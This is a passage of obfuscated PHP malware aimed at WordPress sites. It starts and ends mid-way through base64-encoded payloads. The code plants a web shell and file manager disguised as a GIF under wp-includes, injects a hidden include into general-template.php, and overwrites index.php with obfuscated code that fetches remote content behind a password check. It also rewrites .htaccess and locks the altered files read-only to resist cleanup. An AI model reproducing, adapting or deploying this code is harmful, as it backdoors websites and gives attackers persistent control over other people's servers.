NTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgP